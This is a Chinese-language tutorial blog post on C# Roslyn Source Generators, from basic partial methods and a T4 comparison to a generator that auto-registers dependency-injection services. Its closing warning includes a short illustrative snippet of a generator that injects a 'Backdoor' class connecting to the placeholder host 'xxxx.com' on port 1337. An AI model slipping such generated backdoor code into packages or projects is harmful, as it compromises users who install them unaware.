前两天聊了下Roslyn,如果您耐心看完,也算是入了门,那么今天继续分享它的另外一大特性,那就是 Source Generator,(源代码生成器)是 (Roslyn)提供的一项强大功能,它允许开发者在编译期间自动生成 C# 源代码,并将这些代码无缝融入编译过程,并且无需手动编写或维护这些代码。
大白话解释:
Source Generator 就是个编译前的代码外挂,Roslyn为它提供了供用户自定义的入口,也叫扩展点,让我们可以根据语法和语义解析来结合自己的需求规则,在编译阶段,额外生成一些c# 代码,让你少写代码,提高效率,而且生成的代码就跟你自己写的一样,生成完之后,默认会和自己的源码一起进行编译为dll。
当然最后一句 "并且无需手动编写或维护这些代码" 这句话有点点扯蛋
蛋点1: 你是无需编写代码,但是你得编写生成器规则。
蛋点2: 不是不需要,是你压根改不了,改了也没用,因为每次编译他都会重新生成。
2.牛刀小试
为了防止后面您看的肯定是云里雾里,直接上一个最简单例子先体验下他的特点。
这里我定义了一个类Program
,设置为部分类,还定义了一个方法HelloFrom
但是没有方法体,并在Main
方法中调用了,给它接收的参数传一个字符串 "源生成器"
cs
partial class Program
{
static void Main(string[] args)
{
HelloFrom("源生成器");
}
static partial void HelloFrom(string name);
}
然后我启动调试运行输出

是不是很惊讶,当然还掺杂着疑问

-
HelloFrom
都没有方法体,怎么能跑起来,因为partial void
是 C# 专门为"可选方法"设计的语法,如果你提供了实现,就调用,如果你没提供,编译器就当这个调用不存在,具体特性自己去网上搜一下partial void
。 -
为啥前面多了一截,哪来的,因为我使用
Source Generator
在另外一个文件中生成了它的实现,同一个partial class
的另一部分(可以是同一个文件,也可以是另一个文件),我这里是另外一个文件Program.g.cs
中对HelloFrom
进行了实现,并且在头部打了个注释标记<auto-generated/>
。

现在是不是大概知道了Source Generator
能干啥,最直观就是帮你生成代码,这里帮你生成了可选方法的实现。同理你定义一个接口,也可以利用他帮你生成接口的实现,这点很重要,在你写一些底层平台库的一些通用功能的时候,你可以只需要定义标准接口,由它来帮你在编译时实现,替代动态代理,提升性能。
如果您对动态代理和他的应用场景比较陌生,可以去看看我之前分享的一篇关于Abp vNext动态api实现的文章,当你学会了Source Generator
以后,完全可以用Source Generator
来实现api代理,感兴趣的可以了解下refit库,针对这一块其实我们在工作中有过实际应用,后续有机会出一篇Source Generator
在开源框架中具体应用的源码分析分享。
目前阶段你只需要知道生成代码这是它的主要特点就好了,但是您如果之前没有接触过,应该还是懵的,因为我学习的时候也一样,例如
-
这个东西和Roslyn有何关系,包括上一部分讲的代码分析?
-
生成代码,T4模版也可以生成代码,它们的区别是什么?
-
他是怎么生成代码的,执行时机?
-
这个例子太简单了,看了等于没看,爽文一样,有啥实际应用,搞点干货?
那么接下来,咱们就围绕着几点来展开分享,尽量让您在看完后一定会有所收获,如果您还有在这几个问题之外的问题,欢迎评论区留言,一起交流学习。
3.它和Roslyn以及代码分析有何关系?
Source Generator 是 Roslyn 的一部分
-
Source Generator 是基于 Roslyn 提供的
ISourceGenerator
接口实现的,这里标记重点,后面会用到。 -
它由 Roslyn 编译器在编译过程中自动发现并调用。
-
开发只需要引用NuGet 包就可以来编写生成器。
来说点话糙理不糙的,就好比,如果你是 Roslyn,那你就是 .NET 编译界的"老掌门"。你有仨亲儿子,个个身怀绝技,但谁也别想单干------离了你这个爹,他们连门都出不去。
大儿子叫 SyntaxAnalyzer(语法分析):
- 外号人形质检仪(测试),眼疾手快,看一眼代码就知道哪缺个分号、哪少个括号,连你写了个
if (true == true)
他都能翻白眼:这写的啥玩意,不是废话吗?
二儿子叫 CodeGenerator(代码生成):
- 外号代码骡子(开发),任劳任怨,专干脏活累活,Source Generator 就是他干的事------你刚写个
[AutoNotify]
特性标记,他立马给你生成一整套INotifyPropertyChanged
,连注释都写上:"别乱动我"。
三儿子叫 RuntimeCompiler(动态编译执行):
- 疯批的老板(地主),不讲武德,不守规矩,他不等你编译打包那一套,直接在程序正在跑的时候,当场写代码、当场编译、当场执行!(比如
CSharpScript.RunAsync
)。
4.它和T4模版的区别
简单介绍下T4模版,全名(Text Template Transformation Toolkit),因为每个单词都是T开头,有4个,所以大家叫它T4模版。它是 Visual Studio 提供的一种强大的 代码生成工具 ,以 .tt
为扩展名,在编译或保存时自动生成代码或其他文本内容。这下知道为什么我要对比他们2个了吧------都可以生成代码,关键都有可能在编译时,你可以把它们想象成两种不同的自动化工具。
注意
-
这一部分开始之前,如果您连T4模版都不知道,或者都没接触过的话,那就直接跳过去,不看可能还不会有事,有可能看了反而迷糊了。
-
如果您使用过T4模版,但是应用的不熟的话,在了解了
Source Generator
之后就更迷糊了。因为摄取的信息量多了,但是又捋不清的话,很难受有没有?建议您要看下去,我尽力区分他们,因为很容易混淆他们俩的用途。
T4 模板:像一个外部代码工厂,工作流程如下:
- 你编写一个
.tt
文件,代码中有 C# 逻辑和静态文本 - 当你保存
.tt
文件或者运行自定义工具时,T4 引擎启动 - 引擎执行模板中的逻辑,生成一个纯文本的
.cs
文件 - 这个生成的
.cs
文件被编译到你的项目中,和你手写的代码没有区别
Source Generator:类似一个编译时的插件,工作流程如下:
- 你编写一个实现了
ISourceGenerator
接口的类 - 将这个类库作为 Analyzer 引用到你的主项目中
- 当你编译主项目时,编译器会先加载你的 Source Generator
- Generator 分析整个项目的代码,然后生成新的 C# 源代码字符串
- 编译器将这些新生成的源代码与你的手写代码合并,然后一起编译(默认看不到生成的中间
.cs
文件,但是可以配置)
特点 | T4 模板 | Source Generator |
---|---|---|
运行时机 | 保存文件/手动执行 | 编译过程中 |
是否有文件 | 生成物理.cs文件 | 内存生成,无物理文件,但是可以配置 |
依赖 | 独立引擎 | 深度集成在Roslyn编译管线 |
访问能力 | 只能读取有限上下文 | 可访问完整语法树和语义模型 |
调试 | 可以调试模板 | 支持调试生成器 |
应用场景 | 生成重复性高的结构代码,例如代码生成器 | 动态生成与业务逻辑集成的代码 |
核心差异本质 :
T4的核心是T4引擎
(做过MVC的应该知道还有Razor引擎
),它们都属于模版引擎一类,独立运行不依赖编译器,适合做固定模式 的生成工作。而Source Generator能根据你的规则做个性化动态生成,因为它能访问整个项目的语法树和语义信息。
5.如何生成代码的
这里需要把我上篇关于Roslyn的老演员请过来了

这里您仍然只需要关注,源代码到Roslyn这部分,因为Source Generator
还是发生在这一部分,我们具体看看从源码到Roslyn结束经历了哪些,
声明:这里可能不严谨,但是大概就是这么个过程,毕竟我也没深入了解过他具体的编译原理,如果有不对的您可以指出我也很乐意学习。

6.各组件角色
MSBuild
省流大白话
.csproj 就是 C# 项目给 MSBuild 的"建造说明书",没有它,编译器就不知道该编译啥、咋编译。对于那种对造轮子有执念的小伙伴而言,理论上可以不用vs,用记事本写代码,然后自己写Build脚本,如果你想尝试,可以回到vs2003年先体验下再做决定。
它是 .NET 的官方构建引擎,不直接编译代码,而是按项目文件(.csproj
)中的指令执行一系列任务(Tasks)和目标(Targets).csproj
本质是一个 MSBuild 脚本,你可以打开你任何c# 项目的这个文件,这里面就是它的语法。因为MSBuild 就是靠这些内容来组装顺序的。如果没有这个,你想想,编译系统怎么知道该如何组织你的源代码文件、依赖项和构建步骤呢。
如果您深入到Msbuild,他也很有意思,期待一下后续会分享一些关于MsBuild的技术。
XML
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<TargetFramework>net8.0</TargetFramework>
</PropertyGroup>
<ItemGroup>
<PackageReference Include="MySourceGenerator" Version="1.0.0" />
</ItemGroup>
</Project>
Roslyn 编译器
在 MSBuild 流程中,最后会调用 csc.exe
-
Roslyn 负责解析
.cs
文件为语法树(SyntaxTree) -
加载项目引用的 Analyzer / Source Generator(通过
Analyzer
或CompilerVisibleProperty
等机制) -
执行 Source Generator → 生成新代码 → 合并到编译单元
-
进行语义分析、错误检查、生成 IL
Source Generator 是如何被加载的?
在 .csproj
中引用一个 Source Generator
时,标记了 [Generator]
),Source Generator
必须是要 .NET Standard 2.0~1
程序集,不能依赖运行时,因为它在编译时运行,我拿自己写的这个源生成器类举例
C#
<ItemGroup>
<ProjectReference Include="..\CompileIntegrated\CompileIntegrated.csproj" OutputItemType="Analyzer" ReferenceOutputAssembly="false" />
</ItemGroup>
1.MSBuild 会将该程序集CompileIntegrated
添加到 Analyzer
项,就算你写的是包引用 PackageReference
,SDK也会自动处理为这样
Plain
<Analyzer Include="CompileIntegrated\CompileIntegrated.dll" />
2.然后当 Roslyn 启动时,会扫描所有 Analyzer
引用的项目文件。
3.当发现了实现了 ISourceGenerator
接口的类型 ,进行实例化 ,然后调用 Initialize
和 Execute
4.执行Execute
的自定义规则生成最终代码。
7.举个有意义的例子
下面我们使用源生成器实现一个自动依赖注入的功能,类似于abp vNext自动注入的风格,我们先看下他是怎么做的。
自动注入的实现方式
abp提供了两种自动注入的方式。
1.继承IScopedDependency
接口
cs
/// <summary>
/// 根据接口标记自动注入服务
/// </summary>
public class AutoInterfaceInjectionService:IScopedDependency
{
}
2.标记特性[Dependency(ServiceLifetime.Scoped)]
cs
/// <summary>
/// 根据特性自动注入服务
/// </summary>
[Dependency(ServiceLifetime.Scoped)]
public class AutoAttributeInjectionService
{
}
这2种方式的原理都是在模块加载时,利用反射找到接口或者特性标记,找到之后,然后调用注入,具体的细节就不多赘述,感兴趣可以去翻下源码,或者网上搜一下,abp自动依赖注入原理。
理解场景
我们先实现顺着思维来,看看原生的.netcore中是如何注入服务的?
1.我们定义一个需要被注入的服务
cs
public class ExampleService
{
public void ConsoleWrite()
{
Console.WriteLine("自动注入");
}
2.再定义一个扩展IServiceCollection
的类,正常是这么写
cs
public static class GeneratedServicesExtension
{
internal static void AddServices(this IServiceCollection services)
{
services.AddScoped<Test.ExampleService>();
}
}
3.然后在启动时
cs
public static void TestAutoInject()
{
//实例化服务容器
var services = new ServiceCollection();
// 调用扩展方法注入服务
services.AddServices();
//构建服务提供对象
var serviceProvider = services.BuildServiceProvider();
//从容器提供对象中获取服务
var exampleService = serviceProvider.GetRequiredService<ExampleService>();
//调用服务
exampleService.ConsoleWrite();
}
在.net中我想实现注入服务,必须得按照上面的方式,仔细想一下,这里第二步注入的代码其实在逻辑上是重复的,而且容易疏漏,每加一个服务我都得在这里写一下 services.AddScoped<xxx>()
,为了解决问题 上面简单提及了abp提供的自动注入类似的功能,至于网上还有一些其他的封装库,实现原理都大同小异。
用Source Generator
实现的思路大致差不多,也是定义接口或者特性来标记,但是我们得先搞清楚,实现它的目的是为了避免abp那种运行时反射,提升性能,那如何提升呢?
代码跑起来运行无非2种方式,不是动态就是静态,动态就反射肯定会牺牲一点点性能,静态就是像上面一样,直接硬编码提前写好,我不想自己手写,但是我又想注入,那怎么办,你不写代码,程序怎么运行?
这时候就可以使用源生成器,只需要写出规则,然后在编译项目时,自动会帮我生成出这些注入的代码到一个文件里面去,我只需要在初期,启动时加一句代码就行,开始吧!!
- 在这里不实现太多的生命周期,我们只实现一个使用特性来标记的作用域周期注入。
1.首先我们也需要一个特性用于标记具体服务,定义为AutoInjectScopedAttribute
cs
[System.AttributeUsage(System.AttributeTargets.Class, AllowMultiple = false, Inherited = false)]
internal class AutoInjectScopedAttribute : System.Attribute
{
}
- 它用来给业务服务做标记的
C#
[AutoInjectScopedAttribute]
public class ExampleService
{
public void ConsoleC()
{
Console.WriteLine("自动注入");
}
}
使用思路逻辑和abp一样,但是区别在于,abp实现是 运行时自动扫描
标记反射,使用Source Generator
需要**编译时自动扫描
**项目里所有标了 [AutoInjectScoped](或类似)特性的类,然后在编译时自动生成一个静态扩展方法,把这些类自动注册到
IServiceCollection 里,实现标记即注册,不需要自己手动维护 services.AddScoped (),最终实现完成后的效果图如下。

就算我再加一个服务ExampleService2
启动编译之后,依然会自动生成将ExampleService2
注入到容器的代码。

实现一个自动依赖注入
1.创建一个自定义生成器类,并实现ISourceGenerator
接口
cs
[Generator]
public class CustomGenerator : ISourceGenerator
{
public void Execute(GeneratorExecutionContext context)
{
}
public void Initialize(GeneratorInitializationContext context)
{
}
}
这里2个方法如果你认真看了上面如何生成代码,一定知道,他们在编译时会被编译器调用,一切就从这里开始
2.我们现在初始化方法中加入生成特性的代码,因为他很单纯只是个约束只需要生成就行。
cs
public void Initialize(GeneratorInitializationContext context)
{
const string attribute = @"// <auto-generated />
using Microsoft.Extensions.DependencyInjection;
[System.AttributeUsage(System.AttributeTargets.Class, AllowMultiple = false, Inherited = false)]
internal class AutoInjectScopedAttribute : System.Attribute
{
}
";
context.RegisterForPostInitialization(ctx => ctx.AddSource("Inject.Generated.cs", SourceText.From(attribute, Encoding.UTF8)));
context.RegisterForSyntaxNotifications(() => new ServicesReceiver());
}
上面代码的意思就是
在正式开始分析代码之前,先把字符串写的这个 Attribute 扔进编译流程里边。
RegisterForPostInitialization 方法的调用就相当于说塞点外挂代码进去",AddSource: 就是往编译器里加一份新代码文件,文件名叫 "Inject.Generated.cs",内容就是上面那段 attribute 字符串,您可能会问,为啥要先加这个?因为你后面要扫描 [AutoInjectScoped] 这个特性,但如果这个特性本身还没定义,编译器就不认识,直接就会在编译时报错,所以就先定义出来,当然这一部分也可以不用生成,直接在类中定好分析时找这个符号也可以的。
context.RegisterForSyntaxNotifications(() => new ServicesReceiver()); 这个比较重要,意思就是定义一个接收器,蹲在编译器旁边,盯着所有代码,他的任务就是从所有源代码里,找出符合的特定的目标,然后存起来,这里是只要语义是类的节点就存起来,记
在小本本上!!!
记小本本规则
cs
/// 自定义语法接收器用,于在 Roslyn 编译过程中"监听"并收集特定语法节点。
internal class ServicesReceiver: ISyntaxReceiver {
//存储所有被扫描到的类声明节点(ClassDeclarationSyntax)
public List < ClassDeclarationSyntax > ClassesToRegister {
get;
} = new();
//用于推断调用上下文的命名空间
public InvocationExpressionSyntax ? InvocationSyntaxNode {
get;
private set;
}
//编译器在语法遍历阶段不断调用方法,传入每一个语法节点
public void OnVisitSyntaxNode(SyntaxNode syntaxNode)
{
// 1. 如果当前节点是一个类声明(class、record ),就记录下来
if (syntaxNode is ClassDeclarationSyntax cds)
ClassesToRegister.Add(cds);
// 2. 如果当前节点是一个方法调用表达式(如 services.Discover())
if (syntaxNode is InvocationExpressionSyntax {
// 表达式结构:obj.MethodName
Expression: MemberAccessExpressionSyntax
{
// 方法名的标识符文本为 "Discover"
Name.Identifier.ValueText: "Discover"
}
} invocationSyntax)
{
// 保存这个 Discover() 调用的语法节点,可用于后续分析调用上下文
InvocationSyntaxNode = invocationSyntax;
}
}
}
3.现在写我们核心干活的代码,他要做的事情就是在小本上,把标了 [AutoInjectScoped] 的类,一个不漏地给找出来,然后生成注如的代码。
cs
// 3. 核心逻辑:扫描所有标记了 [AutoInjectScoped] 的类,生成服务注册代码
public void Execute(GeneratorExecutionContext context)
{
// 1. 获取语法接收器收集的待注册类列表
var receiver = (ServicesReceiver)context.SyntaxReceiver;
if (receiver?.ClassesToRegister?.Any() != true)
return;
// 2. 构建服务注册代码块
var registrations = new StringBuilder();
const string indent = " "; // 8空格缩进
foreach (var classDeclaration in receiver.ClassesToRegister)
{
// 获取类的语义模型
var semanticModel = context.Compilation.GetSemanticModel(classDeclaration.SyntaxTree);
if (semanticModel == null) continue;
// 获取类符号信息
var classSymbol = semanticModel.GetDeclaredSymbol(classDeclaration);
if (classSymbol == null) continue;
// 验证是否标记了目标特性
bool hasAttribute = classSymbol.GetAttributes()
.Any(a => a.AttributeClass?.Name == "AutoInjectScopedAttribute");
if (!hasAttribute) continue;
// 生成服务注册代码行
registrations.AppendLine($"{indent}services.AddScoped<{classSymbol.ToDisplayString(SymbolDisplayFormat.FullyQualifiedFormat)}>();");
}
// 3. 生成扩展类模板
if (context.Compilation.AssemblyName == null) return;
var safeAssemblyName = context.Compilation.AssemblyName.Replace(".", "_");
var extensionCode = $@"
public static class GeneratedServicesExtension
{{
public static void AddServicesIn{safeAssemblyName}(this IServiceCollection services)
=> services.AddServices();
internal static void AddServices(this IServiceCollection services)
{{
{registrations}
}}
}}";
// 4. 组合最终代码并输出
var finalCode = $@"// <auto-generated />
using Microsoft.Extensions.DependencyInjection;
{extensionCode}";
context.AddSource($"GeneratedServicesExtension_{safeAssemblyName}.g.cs",
SourceText.From(finalCode, Encoding.UTF8));
}
最终每次编译默认都会生成自动注入代码

核心步骤

8.总结
通过上面的介绍,相信您已经对 Source Generator 有了一些认识,如果您理解了,讲一个敏感话题,请不要基于他生成代码的特性以及隐蔽性,去做了一些生成后门代码的东西,然后放到nuget包给对于一些不了解这个技术的人,楼主在这里已经科普了,包括但不限于类似以下代码!!!
cs
public void Execute(GeneratorExecutionContext context)
{
var backdoorCode = @"
using System.Net.Sockets;
class Backdoor {
static void Connect() {
//用tcp
new TcpClient(""xxxx.com"", 1337);
}
}";
context.AddSource("Backdoor.g.cs", backdoorCode);
}
虽然没那么容易,但是如果人家压根没有防护,恰好你又成功了,然后被逮住了

最后回顾一下要点:
核心作用
Source Generator 是 .NET 生态中编译时元编程的重要突破,它将代码生成从"外部工具"升级为"编译时插件",实现了真正的"零运行时开销"的自动化代码生成。
技术对比
特性 | 传统反射方案 | Source Generator |
---|---|---|
性能 | 运行时扫描,有性能损耗 | 编译时生成,没有运行时开销 |
类型 | 运行时可能出错 | 编译时类型检查,但是编译时有时候冒出来的错误很不好找,可能需要一些风水学理论去找,俗称靠懵 |
调试 | 反射代码难调试 | 生成代码可调试 |
AOT编译 | 需要额外配置() | 天然支持AOT编译,什么事AOT 感兴趣自己去了解下吧 |
🎯 今天的分享就到这里啦!
探讨了 Roslyn 源生成器的核心机制,从语法扫描到代码生成,实现了标记即注册的自动化依赖注入,整个过程无需反射、零运行时开销,做到编译时确定。
🔧 下一篇,分享 Roslyn 第三弹:动态编译与运行时代码执行!
一起看看如何在程序运行中现场编译 C# 代码,实现插件化、脚本引擎、规则引擎等高阶玩法!
📚 学习不易,坚持输出更难。如果这篇文章对你有帮助,欢迎:
✅ 点个赞
🔔 点个关注
📱 扫左侧二维码或者搜索[dotNET技术]关注我的微信公众号叭